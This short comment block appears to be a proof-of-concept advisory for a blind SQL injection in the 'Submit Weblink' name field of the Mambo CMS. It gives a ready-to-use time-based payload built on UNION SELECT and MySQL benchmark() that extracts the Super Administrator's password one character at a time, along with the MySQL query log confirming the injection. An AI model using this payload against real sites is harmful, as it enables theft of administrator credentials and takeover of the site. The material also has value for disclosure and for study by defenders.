/*

  explaination:


  sql injection in "title" argument when you submit a web link, poc:

  start mysql daemon with log option...


  >mysqld --log=mambo.txt


  now login, go to "Submit Weblink" feature, in "Name: " field type:


  99999' UNION SELECT IF ((ASCII(SUBSTRING(password,1,1))=0) & 1, 
benchmark(200000000,CHAR(0)),0) FROM mos_users WHERE usertype='Super 
Administrator'/*


  in mambo.txt we have:


  13 Query       SELECT id FROM mos_weblinks

                 WHERE title='99999' UNION SELECT IF 
((ASCII(SUBSTRING(password,1,1))=0) & 1, benchmark(50000000,CHAR(0)),0) FROM 
mos_users WHERE usertype='Super Administrator'/*' AND catid='2'


  injection is blind but, as you can see, we can you use time delays through 
Mysql

  benchmark() function to ask questions about tables


  this works regardless of magic_quotes_gpc settings
